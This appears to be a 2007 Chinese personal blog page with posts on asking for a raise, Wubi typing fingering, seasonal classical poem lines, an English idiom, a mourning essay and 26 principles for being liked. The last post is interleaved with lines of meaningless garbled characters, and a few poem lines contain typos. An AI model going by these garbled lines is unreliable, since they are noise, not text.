      即便你提出加薪遭到了拒绝,你也已经避免了最糟糕的情形——后悔。没有什么比这更糟的了:接受了一份工作或升职,后来却意识到,假如你只要提出要求就会得到更多的报酬。

        说起来容易做起来难。即便女性知道我们应该得到更多,让我们去要钱我们还是会犹豫,因为我们害怕听到“不”这个字。我的一位朋友在一家公司工作五年了,一年又一年光给她升职不给涨钱。最后,她的老板要她承担额外的工作责任,这样她就没法出差了。出差可以让她一年拿到30000美元的补贴。她接受了这份体面的工作的时候,以为这回她的薪水一定会大涨。可是根本没有。实际上,她干的活多了,拿的钱反而少了。我们设计了好多方法,让她跟老板去谈这件事,要求给她加薪,她也准备好走进办公室,提出她迟迟未得到而本应该得到的加薪。可是一到办公室,她就张不开口!她担心经理会说:“不,现在日子不好过,我们开不起那么高的工资。”她担心提出来会把他们的关系搞僵。哎,我想尖叫,因为她的价值至少是她目前收入的两倍。更糟的是,她自己也清楚这一点。

      一个“不”字有什么可怕?你的上司会大吼,“不,你不配拿那么多”?这样的几率微乎其微。他或她很可能会说:“不,我们目前没有这样的预算。”

      要求加薪给你经理的脑子里种下了这样的印象:你希望把你的价值和业绩联系在一起,得到应有的补偿。如果你的老板重视你这个员工,他们会尽力让你满意,这样你就不会心有旁骛。

      成功的要求:不要让怕遭拒绝的担心主宰你的行为,否则你的收入就会受到损失。

  • 键盘指法

    2007-05-13 21:15:23

    键盘指法

      学五笔之前要首先学会键盘指法练习,五笔字型采用计算机标准键盘,并通过其26个字母键来进行编码输入。因此其指法要求与计算机操作的标准指法要求是一致的。
      在五笔字型中,对键盘指法要求如下:

     1、十个手指均规定有自己的操作键位区域,任何一个手指不得去按不属于自己分工区域的键,在操作中各个手指必须严格遵守这一规定进行操作。特别是无名指和小指可能在最开始上机操作时,由于不太听指挥,很容易造成其它手指"帮忙"的情况,因此从最开始就必须坚持这几个手指自己按自己的键。
      2、要求手指击键完毕后始终放在键盘的起始位置上,起始位置就是键盘上三行字母键的中间一行位置,十个手指分别位于这一行的ASDFGHJKL;键上,大姆指位于空格键上。这样有利于下一次击键时定位准确。
      3、击键时,只需通过手指和手腕的运动来进行击键,不要通过手臂运动来击键。击键要用力适度,不能太重。
      4、在操作中,必须从最开始就坚持盲打操作。即不要用眼睛看键盘,只能通过大脑来想要击的键所处的位置,并指挥相应的手指来完成击键。如不坚持这一点,是不会真正成为五笔高手的。
      5、对打字员和专业录入人员在训练中还应注意,眼睛不仅不能看键盘,同时也不能看屏幕,只可看要录入的纸稿。这样才能训练出真正意义上快速专业盲打人员。

    各手指在计算机键盘上的键盘指法如下图。

    [图文]键盘指法

     各手指在计算机键盘上的指法分工如下:
      左小手指--QAZ    左无名指--WSX  左中指--EDC  左食指--RFVTGB
      右食指--YHNUJM 右中指--IK,          右无名指--OL.  右小手指--P;/      大姆指--空格键

    >>>更多专题请看五笔练习专题


     
  • 触摸四季脉搏演绎一生情怀(转)

    2007-03-29 17:48:13

    春之萌生~~~~

    春来——爆竹声中一岁除 春风送暖入复苏

    春雨——小楼一夜听春雨 深巷明朝卖杏花

    春花——惆怅东栏一株雪 人生看得几清明

    春夜——更深月夜半人家 北斗阑干南斗斜


    春水——春水碧于天 画船听雨眠

    春风——春风又绿江南岸 明月何时照我还

    春光——等闲识得东风面 万紫千红总是春

    春景——试上超然台上看 半壕春水一城花


    春游——东风知我欲山 吹断檐间积雨。

    春思——春心莫共花争发 一寸相思一寸灰

    春寂——春潮带雨晚来急 野渡无人舟自横

    春愁——问君能有几多愁 恰似一江春水向东流



    春梦——枕上片时春梦中 行尽江南数千里

    春恨——人生自是有情痴 此恨不关风和月

    春归——落红不是无情物 化作春泥更护花


    夏之娇艳 ~~~~

    夏颂——纳清风台榭开怀 傍流水亭轩赏心

    夏初——槐柳成阴雨洗尘 樱桃乳酪并尝新

    夏热——日轮当午凝不去 万国如在洪炉中

    夏景——叶上初阳干宿雨 水面清圆 一风荷举


    夏水——涧影见藤竹 潭香闻芰荷

    夏夜——散发乘夕凉 开轩卧闲敞

    夏雨——风声撼山翻怒涛 雨点飞空射强弩

    夏花——荷叶罗裙一色裁 芙蓉向脸两边开



    夏蝉——垂缍饮清露 流响出疏桐

    夏鸟——漠漠水田飞白鹭 阴阴夏木啭黄鹂

    夏节——彩线轻缠红玉臂 小符斜桂绿云鬟


    夏思——夏虫也为我沉默 沉默是今晚的康桥

    夏游——松风涧水杂清音 空山如弄琴

    夏趣——懒摇白羽扇 裸体青林中


    秋之私语~~~~

    秋雨——高楼目尽欲黄昏 梧桐叶上萧萧雨

    秋夜——睡起秋声无觅处 满阶梧叶日明中

    秋声——未觉池塘春草梦 阶前梧叶已秋声

    秋叶——夜深风竹敲秋韵 万叶千声皆是恨


    秋色——雨侵坏瓮新苔绿 秋入横林数叶红

    秋月——月光浸水水浸天 一派空明互回荡

    秋菊——宁可枝头抱香死 何曾吹落北风中

    秋思——故人万里无消息 便拟江头问断鸿



    秋愁——莫道身闲总是 孤灯夜夜写清愁

    秋兴——西风吹叶满湖边 初换秋衣独慨然

    秋怀——出门未免流年叹 又见湖边木叶飞

    秋梦——清梦初回秋夜阑 床前耿耿一灯残


    秋忆——砧杵敲残深巷月 梧桐摇落故园秋

    秋悟——人人解说悲秋事 不似诗人彻底知

    秋味——蟋蟀独知秋令早 芭蕉下得雨声多


    冬之妙韵~~~~

    冬雪——忽如一夜春风来 千树万树梨花开

    冬梅——不是一番寒彻骨 争得梅花赴鼻香

    冬景——岸容待腊将舒柳 山意冲寒欲放梅


    冬夜——岁华皆采获 冬晚共严枯

    冬风——飘飘送下遥天雪 飒飒吹干旅命烟

    冬天——琥珀珠海黏行处雪 棕榈帚扫卧来云


    冬思——岁寒 然后知柏之后凋

    冬狩——会挽雕弓如满月 西北望 射天狼

    冬愁——云横秦岭家何在 雪拥蓝关马不前


    冬行——草枯鹰眼疾 雪尽马蹄轻

    冬恨——夜阑卧 听风吹雨 铁马冰河入梦来


     

     

     

     

  • 每日一句:Don't try to run with the hare and hunt with the hounds!( 3.29 )

    2007-03-29 17:32:36

    Don't try to run with the hare and hunt with the hounds!

    别想两边讨好!

    ---------------------------------------------------------------------------------------------------
      固定搭配run with the hare and hunt with the hounds或者hold with the hare and run with the hounds字面意思是“跟着兔子跑,跟着狗打猎”,相当于汉语中的“两面讨好”。注意:这个表达中,hare使用的单数,hound使用的复数,这是一个固定的表达,我也不知道为什么。^_^

      例句:I know how to handle two-faced people and can even tell at the first glance who are in the habit of running with the hare and hunting with the hounds.
      我知道怎样对付两面派,而且一眼就能看出谁是一贯两面讨好的人。

      还记得two-faced 吗?参考3月20日的每日一句“I don't like the two-faced person. 我不喜欢两面派的人。”“两面派”和“两边讨好”还是有小小的不一样的,注意区分。

     

    摘自http://sl.iciba.com/每日一文

  • 不要等太久(中英对照)生命经不起等待!

    2007-03-29 17:27:27

    总以为自己还年轻,来日方长,以为可以等到一切都水到渠成时再从容尽孝,却不知道“树欲静而风不止,子欲养而亲不待”。拥有她的时候,她给了我无限的爱,没有了母亲,才知道原来一个普普通通的节日也会带给你无限的伤痛——想打个电话问候,电话那端永远不再能传来那慈爱的声音;想买束鲜花祝福,却只能静静地放在墓碑旁。看到别人在烦恼为母亲买什么礼物的时候,眼眶只能湿润,纵有千言万语,也中能一个人默默地呢喃:

      您走了 尘世中,再没有那株给我遮风挡雨的老树

      您走了 静夜里,想起您的时候,我会有一丝孤独

      您走了 旅途上,再没有您坚强的扶助

      您走了 但您会看到,风雨中一棵小树在披风沐雨、抽枝吐叶、坚强生长

      您走了 但您会看到,我已学会给自己的孤独疗伤

      您走了 但您会看到,以后的路上,我会走得更加坚强

      您静静地远走了呵 风雨过后、尘烟散尽

      我会给您一个最灿烂的微笑

      --没有你的日子里, 我会好好珍惜自己

     








  • 不要让机会流逝.



























  • 讨人喜欢的26原则,让你的人际关系更上一层楼

    2007-03-29 17:23:39

    讨人喜欢的26原则,让你的人际关系更上一层楼 : 僉楧t姌  
    ?(v 懩?? 
          1.长相不令人讨厌,如果长得不好,就让自己有才气;如果才气也没有,那就总是微笑。  薯掍{δ0}  
        ~'b5 H? 
      2.气质是关键。如果时尚学不好,宁愿纯朴。  4P)?u痖?  
        潭輌唋x? 
      3.与人握手时,可多握一会儿。真诚是宝。  堧?鲊1  
        0F?姽K珜  
      4.不必什么都用“我”做主语。  H锎隨?术  
        )FOv巌蚿  
      5.不要向朋友借钱。  i泪?Mb讎>  
        _rAETE⒍(  
      6.不要“逼”客人看你的家庭相册。  :"慢Lt%s=? 
        =夌:'遫誙  
      7.与人打“的”时,请抢先坐在司机旁。  镨絺D?? 
        倢0缫擠鷕  
      8.坚持在背后说别人好话,别担心这好话传不到当事人耳朵里。  ?U<蓼礢N? 
        ?蓊L? 
      9.有人在你面前说某人坏话时,你只微笑。  x9x?Z   
        )|茚秕霈?  
      10.自己开小车,不要特地停下来和一个骑自行车的同事打招呼。人家会以为你在炫耀。  环日iZvq  
        厢凣珺1炼  
      11.同事生病时,去探望他。很自然地坐在他病床上,回家再认真洗手。  n?H捳!? 
        r晵E唴ji栁  
      12.不要把过去的事全让人知道。  驔H铓#倦  
        世韬鰧Z?  
      13.尊重不喜欢你的人。  ?镍 >?  
     

        14.对事不对人;或对事无情,对人要有情;或做人第一,做事其次。  `Ly淹俗娕  
        L?VU漝  
      15.自我批评总能让人相信,自我表扬则不然。  菔b奓纎褻  
        礉?Uf? 
      16.没有什么东西比围观者们更能提高你的保龄球的成绩了。所以,平常不要吝惜你的喝彩声。  徟帴? 
        ?樾:住E? 
      17.不要把别人的好,视为理所当然。要知道感恩。  谈jD矋m  
        緎!,燁? 
      18.榕树上的“八哥”在讲,只讲不听,结果乱成一团。学会聆听。  隥?送J纱  
        ]_閽<胟Y轉  
      19.尊重传达室里的师傅及搞卫生的阿姨。  .婒糩IQ  
        噏?鱨a?lt;  
      20.说话的时候记得常用“我们”开头。  簪?ⅸ癥  
        `?迵脮?  
      21.为每一位上台唱歌的人鼓掌。  # ?五犩撀  
        i? ?隶/  
      22.有时要明知故问:你的钻戒很贵吧!有时,即使想问也不能问,比如:你多大了?  AnAFdU嫕?  
        弔n?SE? 
      23.话多必失,人多的场合少说话。  舼=7l\语  
        1B鏗fy趜? 
      24.把未出口的“不”改成:“这需要时间”、“我尽力”、“我不确定”、“当我决定后,会给你打电话”……  ?I?铄  
        ?F橡??  
      25.不要期望所有人都喜欢你,那是不可能的,让大多数人喜欢就是成功的表现。  酫舼祼羢? 
        ?吼nv?  
      26.当然,自己要喜欢自己。  粝J1uS?  
        拫o?駸瞒  
      我再加一条,  ?nM謅圩籀  
        ?蕕+)u  
      27。如果你在表演或者是讲演的时候,如果只要有一个人在听也要用心的继续下去,即使没有人喝采也要演,因为这是你成功的道路,是你成功的摇篮,你不要看的人成功,而是要你成功。

  • 数据统计

    • 访问量: 8165
    • 日志数: 26
    • 建立时间: 2007-03-24
    • 更新时间: 2007-08-11

    RSS订阅